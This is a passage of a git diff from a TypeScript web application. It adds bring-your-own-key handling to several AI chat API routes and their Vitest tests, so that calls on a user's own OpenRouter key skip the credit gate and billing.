(ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: mocks.provider })); vi.mock('@/lib/ai/core/ai-providers-config', () => ({ ADMIN_ONLY_PROVIDERS: new Set(['glm']), diff --git a/apps/web/src/app/api/ai/btw/__tests__/route.test.ts b/apps/web/src/app/api/ai/btw/__tests__/route.test.ts index 510b7f708b..8c5939df60 100644 --- a/apps/web/src/app/api/ai/btw/__tests__/route.test.ts +++ b/apps/web/src/app/api/ai/btw/__tests__/route.test.ts @@ -24,6 +24,11 @@ vi.mock('@pagespace/db/schema/conversations', () => ({ conversations: { __table: vi.mock('@pagespace/lib/permissions/conversation-access', () => ({ canAccessConversation: mocks.access })); vi.mock('@/lib/repositories/message-repository', () => ({ messageRepository: { getMessagesByConversationId: mocks.messages } })); vi.mock('@/lib/ai/core/plan-binding', () => ({ getActivePlan: mocks.plan })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: mocks.provider })); vi.mock('@/lib/ai/btw/side-question', () => ({ buildSideQuestionSnapshot: vi.fn().mockResolvedValue('snapshot'), createSideQuestionStream: mocks.stream })); import { POST } from '../route'; diff --git a/apps/web/src/app/api/ai/btw/route.ts b/apps/web/src/app/api/ai/btw/route.ts index 2adcdeb62f..2249e50ba5 100644 --- a/apps/web/src/app/api/ai/btw/route.ts +++ b/apps/web/src/app/api/ai/btw/route.ts @@ -19,6 +19,8 @@ import { AIMonitoring, estimateTokens, extractOpenRouterCostDollars, extractOpen import { messageRepository } from '@/lib/repositories/message-repository'; import { getActivePlan } from '@/lib/ai/core/plan-binding'; import { createAIProvider } from '@/lib/ai/core/provider-factory'; +import { resolveModelKeySource } from '@/lib/ai/core/model-key-source'; +import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { resolveProviderModel } from '@/lib/ai/core/ai-providers-config'; import { resolveGenerationAdmission } from '@/lib/ai/core/generation-admission'; import { conversationSessionDriveId } from '@/lib/ai/core/session-spend'; @@ -80,8 +82,13 @@ export async function POST(request: Request) { // Prepaid credit gate BEFORE the provider is built: out_of_credits -> 402, the // in-flight cap -> 429. Metering-exempt providers bill on a flat external plan, // so they skip the gate (no hold) exactly as the chat pipeline does. + // BYOK (ADR 0009): whose key the call runs on, decided ONCE for the gate, the provider and billing. + // On the person's own OpenRouter key there is no hold and no charge. + const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDriveId }); + if (keyDecision.source === 'refused') return createByokUnavailableResponse(); + const ownKey = keyDecision.source === 'user_key'; let entitlementTier: SubscriptionTier | undefined; - if (!isMeteringExempt(effectiveProvider)) { + if (!isMeteringExempt(effectiveProvider) && !ownKey) { const gate = await canConsumeAI(userId, consumerTier, { spend, estCostCents: holdCents, @@ -108,13 +115,19 @@ export async function POST(request: Request) { subscriptionTier: entitlementTier ?? await resolveEntitlementTier(userId, consumerTier, spend), isAdmin: user?.role === 'admin', requiresProSubscription, + ownKey, }); if (!admission.allowed) { auditRequest(request, { eventType: 'authz.access.denied', userId, resourceType: 'ai_btw', resourceId: conversationId, details: { reason: admission.reason, provider: effectiveProvider, method: 'POST' }, riskScore: 0.5 }); return admission.reason === 'provider_admin_only' ? createAdminRestrictedResponse() : createSubscriptionRequiredResponse(); } - const provider = await createAIProvider(userId, {}, { user: user ?? null, driveId: sessionDriveId }); + const provider = await createAIProvider(userId, {}, { + user: user ?? null, + driveId: sessionDriveId, + keySource: keyDecision, + modelCall: { sessionId: auth.tokenType === 'session' ? auth.sessionId : null, conversationId }, + }); if ('error' in provider) return NextResponse.json({ error: provider.error }, { status: provider.status }); const startTime = Date.now(); @@ -138,6 +151,7 @@ export async function POST(request: Request) { return { inputTokens, outputTokens, ...priceInterruptedStep({ model: provider.modelName, inputTokens, outputTokens, holdCents }) }; })(); await AIMonitoring.trackUsage({ + keySource: keyDecision.source, userId, provider: provider.provider, model: provider.modelName, diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts index abe04a2f1e..9e4735cdb6 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts @@ -228,6 +228,11 @@ vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: vi.fn().mockResolvedValue({ allowed: true, reason: 'unlimited' }), })); +// BYOK (ADR 0009): whose key the turn runs on. Managed unless a test says otherwise. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), updateUserProviderSettings: vi.fn(), @@ -378,6 +383,8 @@ import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; import { PERSONAL_SPEND, conversationSpend } from '@pagespace/lib/billing/spend-target'; import { resolveRequestContext } from '@/lib/ai/core/resolve-request-context'; import { AIMonitoring } from '@pagespace/lib/monitoring/ai-monitoring'; +import { resolveModelKeySource } from '@/lib/ai/core/model-key-source'; +import { createAIProvider } from '@/lib/ai/core/provider-factory'; import { streamText } from 'ai'; import { resolveOrCreateConversation, ConversationOwnershipError } from '@/lib/repositories/resolve-or-create-conversation'; @@ -447,6 +454,7 @@ describe('POST /api/ai/global/[id]/messages — prepaid credit gate', () => { captured.totalUsage = { inputTokens: 10, outputTokens: 5, totalTokens: 15 }; vi.mocked(authenticateRequestWithOptions).mockResolvedValue(mockAuth()); vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'unlimited' }); + vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'managed' }); mockCreateStreamLifecycle.mockResolvedValue({ channel: makeFakeChannel(), finish: mockLifecycleFinish, getParts: vi.fn().mockResolvedValue([]) }); }); @@ -510,10 +518,18 @@ describe('POST /api/ai/global/[id]/messages — prepaid credit gate', () => { it('POL-8 (partial) the provider factory is named the SERVER-resolved drive with a contextRef, and no drive at all without one', async () => { const { createAIProvider } = await import('@/lib/ai/core/provider-factory'); await POST(makeRequest({ contextRef: { routeType: 'drive', driveId: 'drive-client-claimed' } }), makeContext()); - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-server-resolved' }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ + driveId: 'drive-server-resolved', + keySource: { source: 'managed' }, + modelCall: { sessionId: 'sess-1', conversationId: 'conv-1' }, + }); await POST(makeRequest(), makeContext()); - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: null }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ + driveId: null, + keySource: { source: 'managed' }, + modelCall: { sessionId: 'sess-1', conversationId: 'conv-1' }, + }); }); it('SPEND-8 (partial) a request carrying the removed client-computed locationContext is refused (400) before any gate or spend: it never runs on personal credits inside a drive the server did not resolve', async () => { @@ -549,6 +565,7 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', captured.streamTextOptions = {}; vi.mocked(authenticateRequestWithOptions).mockResolvedValue(mockAuth()); vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'unlimited' }); + vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'managed' }); mockCreateStreamLifecycle.mockResolvedValue({ channel: makeFakeChannel(), finish: mockLifecycleFinish, getParts: vi.fn().mockResolvedValue([]) }); }); @@ -673,4 +690,47 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0]; expect(call.totalTokens).toBe(10); }); + + describe('BYOK (ADR 0009): one key decision for the gate, the provider and billing', () => { + it('a turn on the person\'s own key takes no credit hold, hands the factory that same decision, and bills nothing', async () => { + const ownKey = { source: 'user_key' } as const; + vi.mocked(resolveModelKeySource).mockResolvedValue(ownKey); + // A person with no PageSpace credits at all: the gate would refuse, so it must never be asked. + vi.mocked(canConsumeAI).mockResolvedValue({ allowed: false, reason: 'out_of_credits' }); + + const response = await POST(makeRequest(), makeContext()); + await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() }); + await captured.createUIMessageStreamOptions.onFinish?.({ responseMessage: mockResponseMessage }); + + expect(response.status).toBe(200); + expect(canConsumeAI).not.toHaveBeenCalled(); + expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toBe(ownKey); + expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1); + const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0]; + expect({ keySource: call.keySource, holdId: call.holdId }).toEqual({ keySource: 'user_key', holdId: undefined }); + }); + + it('a managed turn is gated and billed as managed', async () => { + await POST(makeRequest(), makeContext()); + await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() }); + await captured.createUIMessageStreamOptions.onFinish?.({ responseMessage: mockResponseMessage }); + + expect(canConsumeAI).toHaveBeenCalledTimes(1); + expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1); + expect(vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0].keySource).toBe('managed'); + }); + + it('a refused decision answers 503 byok_unavailable before any gate, provider or stream', async () => { + vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'refused', reason: 'byok_unavailable' }); + + const response = await POST(makeRequest(), makeContext()); + + expect(response.status).toBe(503); + expect((await response.json()).code).toBe('byok_unavailable'); + expect(canConsumeAI).not.toHaveBeenCalled(); + expect(createAIProvider).not.toHaveBeenCalled(); + expect(streamText).not.toHaveBeenCalled(); + }); + }); }); diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts index 561f147c0c..f80ac96b39 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts @@ -132,6 +132,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts index d20a440014..857e648146 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts @@ -113,6 +113,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts index 2487599ed1..57f257b0c0 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts @@ -116,6 +116,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), @@ -222,7 +227,13 @@ describe('POST /api/ai/page-agents/consult — prepaid credit gate', () => { expect(res.status).toBe(200); expect(vi.mocked(canConsumeAI).mock.calls[0]?.[2]?.spend).toEqual({ kind: 'drive', driveId: 'drive-a', chosen: null }); // The session drive's org AND the agent drive's org both judge the model (D-OW-64). - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-a', contentDriveIds: ['drive-1'] }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ + driveId: 'drive-a', + contentDriveIds: ['drive-1'], + // BYOK: the same key decision the gate acted on, and the run it belongs to. + keySource: { source: 'managed' }, + modelCall: { sessionId: 'sess-1', conversationId: expect.any(String) }, + }); const { AIMonitoring } = await import('@pagespace/lib/monitoring/ai-monitoring'); expect(AIMonitoring.trackUsage).toHaveBeenCalledWith(expect.objectContaining({ driveId: 'drive-a', walletId: 'w-a', holdId: 'h-1' })); }); @@ -243,7 +254,12 @@ describe('POST /api/ai/page-agents/consult — prepaid credit gate', () => { it('POL-8 (partial) the agent\'s drive is named to the provider factory, and an org-policy refusal is a 403 naming the policy, not a 500', async () => { vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'ok' }); await POST(makeRequest()); - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-1', contentDriveIds: ['drive-1'] }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ + driveId: 'drive-1', + contentDriveIds: ['drive-1'], + keySource: { source: 'managed' }, + modelCall: { sessionId: 'sess-1', conversationId: expect.any(String) }, + }); vi.mocked(createAIProvider).mockResolvedValueOnce({ error: "This organization doesn't allow that AI model.", status: 403, code: 'org_policy', policy: 'modelAllowlist' } as never); const { isProviderError } = await import('@/lib/ai/core/provider-factory'); diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts index 7f8197257d..d7d822e9cb 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts @@ -113,6 +113,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts index 04b40dd9e0..65d8562e85 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts @@ -132,6 +132,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts index c14ca59e08..d18c0282ca 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts @@ -118,6 +118,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts index e456e4f90b..6cc221233c 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts @@ -106,6 +106,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ }, })); +// BYOK (ADR 0009): whose key the call runs on — managed here. +vi.mock('@/lib/ai/core/model-key-source', () => ({ + resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), +})); + vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }), isProviderError: vi.fn().mockReturnValue(false), diff --git a/apps/web/src/app/api/ai/page-agents/consult/route.ts b/apps/web/src/app/api/ai/page-agents/consult/route.ts index feaedb75c3..2e9237dd45 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/route.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/route.ts @@ -13,6 +13,8 @@ const AUTH_OPTIONS = { allow: ['session', 'mcp'] as const, requireCSRF: true }; /** The repository-wide id contract: what `createId()` (cuid2) produces. */ const CUID2_PATTERN = /^[a-z][a-z0-9]{1,31}$/; import { createAIProvider, isProviderError, type ProviderRequest } from '@/lib/ai/core/provider-factory'; +import { resolveModelKeySource, type ModelKeyDecision } from '@/lib/ai/core/model-key-source'; +import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { toolModelContext } from '@/lib/ai/core/tool-model-context'; import { pageSpaceTools } from '@/lib/ai/core/ai-tools'; import { buildTimestampSystemPrompt } from '@/lib/ai/core/timestamp-utils'; @@ -143,7 +145,12 @@ function formatToolExecutionResults(steps: unknown[]): string { * Get configured AI model for agent using the centralized provider factory * Handles provider-specific setup and fallbacks */ -async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null }, drives: { driveId: string; agentDriveId: string }) { +async function getConfiguredModel( + userId: string, + agentConfig: { aiProvider?: string | null; aiModel?: string | null }, + drives: { driveId: string; agentDriveId: string }, + byok: { keySource: ModelKeyDecision; modelCall: { sessionId: string | null; conversationId: string } }, +) { const { aiProvider, aiModel } = agentConfig; // Use default provider/model if agent doesn't have specific configuration @@ -157,7 +164,13 @@ async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: st // POL-8: the org of the drive the consultation runs in (its session's, where its spend is attributed, SPEND-7) // AND the org of the drive the agent lives in — the intersection of both allowlists (D-OW-64). - const providerResult = await createAIProvider(userId, providerRequest, { driveId: drives.driveId, contentDriveIds: [drives.agentDriveId] }); + // BYOK (ADR 0009): the SAME key decision the route's credit gate acted on. + const providerResult = await createAIProvider(userId, providerRequest, { + driveId: drives.driveId, + contentDriveIds: [drives.agentDriveId], + keySource: byok.keySource, + modelCall: byok.modelCall, + }); if (isProviderError(providerResult)) { // An org-policy refusal keeps its status and policy so the route can answer 403 (POL-8), not a 500. @@ -346,6 +359,13 @@ export async function POST(request: Request) { const sessionDrive = spendDriveId(spend) ?? agent.driveId; let conversationSourceWalletId: string | undefined; + // BYOK (ADR 0009): whose key this consultation runs on, decided ONCE (same provider and drives the + // gate and the factory use) for the gate, the provider and billing. On the person's own OpenRouter + // key there is no hold and no charge. + const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDrive, contentDriveIds: [agent.driveId] }); + if (keyDecision.source === 'refused') return createByokUnavailableResponse(); + const ownKey = keyDecision.source === 'user_key'; + // The SHARED entitlement decision a chat turn applies (generation-admission.ts): an // admin-only provider is a role block (a viewer of a glm-configured shared agent must // never consume the admin subscription), a paid-tier model a tier block — for the tier @@ -356,6 +376,7 @@ export async function POST(request: Request) { subscriptionTier: await resolveEntitlementTier(userId, consumerTier, spend), isAdmin: gateUser?.role === 'admin', requiresProSubscription, + ownKey, }); if (!admission.allowed) { auditRequest(request, { eventType: 'authz.access.denied', userId, resourceType: 'page_agent', resourceId: agentId, details: { reason: admission.reason, provider: effectiveProvider, action: 'consult', method: 'POST' }, riskScore: 0.5 }); @@ -368,7 +389,7 @@ export async function POST(request: Request) { // SPEND-4: a drive rule that moved the call to another source is reported in the answer // (`spendFallback` and the X-Spend-Fallback-* headers), never applied silently. let spendFallback: SpendFallbackNotice | null = null; - if (!isMeteringExempt(effectiveProvider)) { + if (!isMeteringExempt(effectiveProvider) && !ownKey) { const creditGate = await canConsumeAI(userId, consumerTier, { spend, estCostCents: estimateChatHoldCentsForModel(agent.aiModel ?? undefined), @@ -575,7 +596,10 @@ export async function POST(request: Request) { const providerResult = await getConfiguredModel(userId, { aiProvider: agent.aiProvider, aiModel: agent.aiModel - }, { driveId: sessionDrive, agentDriveId: agent.driveId }); + }, { driveId: sessionDrive, agentDriveId: agent.driveId }, { + keySource: keyDecision, + modelCall: { sessionId: auth.tokenType === 'session' ? auth.sessionId : null, conversationId: activeConversationId }, + }); model = providerResult.model; resolvedProvider = providerResult.provider; resolvedModelName = providerResult.modelName; @@ -834,6 +858,7 @@ export async function POST(request: Request) { // final step. const usage = result.totalUsage; discardUsageOutcome(AIMonitoring.trackUsage({ + keySource: keyDecision.source, userId, provider: resolvedProvider, model: resolvedModelName, diff --git a/apps/web/src/app/api/pulse/cron/route.ts b/apps/web/src/app/api/pulse/cron/route.ts index b2f3e84477..422ef2000e 100644 --- a/apps/web/src/app/api/pulse/cron/route.ts +++ b/apps/web/src/app/api/pulse/cron/route.ts @@ -946,6 +946,10 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob // it atomically with the debit (or releases it if there was nothing billable). const usage = result.usage; discardUsageOutcome(AIMonitoring.trackUsage({ + // BYOK (ADR 0009): the factory decided whose key ran, judged on every drive and org whose content this + // pulse carries (not known yet at the gate). On the person's own key the row is recorded, never charged, + // and the gate's hold is released. + keySource: providerResult.keySource, userId, provider: providerResult.provider, model: providerResult.modelName, diff --git a/apps/web/src/app/api/pulse/generate/route.ts b/apps/web/src/app/api/pulse/generate/route.ts index 3c82061588..4045f55228 100644 --- a/apps/web/src/app/api/pulse/generate/route.ts +++ b/apps/web/src/app/api/pulse/generate/route.ts @@ -767,6 +767,10 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob // Track AI usage const usage = result.usage; discardUsageOutcome(AIMonitoring.trackUsage({ + // BYOK (ADR 0009): the factory decided whose key ran, judged on every drive and org whose content this + // pulse carries (not known yet at the gate). On the person's own key the row is recorded, never charged, + // and the gate's hold is released. + keySource: providerResult.keySource, userId, provider: providerResult.provider, model: providerResult.modelName, diff --git a/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts b/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts index b32dc9dfb0..fc67594d6b 100644 --- a/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts +++ b/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts @@ -290,7 +290,12 @@ describe('POST /api/v1/chat/completions', () => { const response = await POST(makeRequest(validBody)); const body = await response.json(); - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-abc', contentDriveIds: ['drive-abc'] }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ + driveId: 'drive-abc', + contentDriveIds: ['drive-abc'], + // BYOK: the run this call belongs to (a stateless MCP call names no session or conversation). + modelCall: { sessionId: null, conversationId: null }, + }); expect({ status: response.status, code: body.code, policy: body.policy }).toEqual({ status: 403, code: 'org_policy', policy: 'modelAllowlist' }); }); @@ -384,7 +389,11 @@ describe('POST /api/v1/chat/completions', () => { test('POL-8 (partial) a completion run from a session in another drive is judged by the agent drive\'s org policy too (D-OW-64)', async () => { const { createAIProvider } = await import('@/lib/ai/core/provider-factory'); await POST(makeRequest({ ...validBody, drive_context: 'drive-a' })); - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-a', contentDriveIds: ['drive-abc'] }); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ + driveId: 'drive-a', + contentDriveIds: ['drive-abc'], + modelCall: { sessionId: null, conversationId: null }, + }); }); test('SPEND-7 (partial) a drive_context the caller cannot use is refused 403 before anything is reserved', async () => { diff --git a/apps/web/src/app/api/v1/chat/completions/route.ts b/apps/web/src/app/api/v1/chat/completions/route.ts index 1f937d4014..a21df09ee8 100644 --- a/apps/web/src/app/api/v1/chat/completions/route.ts +++ b/apps/web/src/app/api/v1/chat/completions/route.ts @@ -256,7 +256,11 @@ export async function POST(request: Request): Promise { const providerResult = await createAIProvider(authResult.userId, { selectedProvider: page.aiProvider ?? undefined, selectedModel: page.aiModel ?? undefined, - }, { driveId: sessionDriveId, contentDriveIds: [page.driveId] }); + }, { + driveId: sessionDriveId, + contentDriveIds: [page.driveId], + modelCall: { sessionId: authResult.tokenType === 'session' ? authResult.sessionId : null, conversationId: incomingConversationId ?? null }, + }); if (isProviderError(providerResult)) { return NextResponse.json({ error: providerResult.error, ...(providerResult.code ? { code: providerResult.code, policy: providerResult.policy } : {}) }, { status: providerResult.status }); } @@ -265,6 +269,9 @@ export async function POST(request: Request): Promise { // agent configured with `glm` + an invalid model resolves to the metered default, // so both the admin gate and the credit gate below key off this, not the raw config. const effectiveProvider = providerResult.provider; + // BYOK (ADR 0009): the factory decided whose key runs (on the resolved provider and the same drives); the + // gate and billing act on that one decision. On the person's own OpenRouter key: no hold, no charge. + const ownKey = providerResult.keySource === 'user_key'; // 6a. Vision-capability gate — judged against the RESOLVED model (post // catalog-substitution), not the raw page config: a null or invalid configured model @@ -297,6 +304,7 @@ export async function POST(request: Request): Promise { subscriptionTier: await resolveEntitlementTier(authResult.userId, consumerTier, spend), isAdmin: gateUser?.role === 'admin', requiresProSubscription, + ownKey, }); if (!admission.allowed) { auditRequest(request, { eventType: 'authz.access.denied', userId: authResult.userId, resourceType: 'openai_inference', resourceId: pageId, details: { reason: admission.reason, provider: effectiveProvider, method: 'POST' }, riskScore: 0.5 }); @@ -313,7 +321,7 @@ export async function POST(request: Request): Promise { // SPEND-4: a drive rule that moved the call to another source is reported on the response // (the X-Spend-Fallback-* headers), never applied silently. let spendFallback: SpendFallbackNotice | null = null; - if (!isMeteringExempt(effectiveProvider)) { + if (!isMeteringExempt(effectiveProvider) && !ownKey) { const creditGate = await canConsumeAI(authResult.userId, consumerTier, { spend, estCostCents: estimateChatHoldCentsForModel(page.aiModel ?? undefined), @@ -669,6 +677,7 @@ export async function POST(request: Request): Promise { // transaction (idempotent if the hold is already gone). success:false on abort/error // still bills burned tokens while marking the run unsuccessful. await AIMonitoring.trackUsage({ + keySource: providerResult.keySource, userId: authResult.userId, provider: providerResult.provider, model: providerResult.modelName, diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts index 1ae594c8ec..63c2c30154 100644 --- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts @@ -35,6 +35,8 @@ import { conversationSpend } from '@pagespace/lib/billing/spend-target'; import { UNGATED_TURN_CREDIT, personalTurnTiers, turnCreditAfterGate, type TurnCredit } from './turn-credit'; import { writeTurnPreamble } from './turn-preamble'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; +import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; +import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; import { creditGateErrorResponse } from '@/lib/subscription/credit-gate-response'; @@ -193,6 +195,8 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise { it('given a chat-completions request, should send the exact body for this person and return OpenRouter\'s answer', async () => { - const requestInference = vi.fn(async () => ({ ok: true as const, response: new Response('data: [DONE]\n\n', { status: 200, headers: { 'content-type': 'text/event-stream' } }) })); + const requestInference = vi.fn(async (_input: Parameters[0]) => ({ ok: true 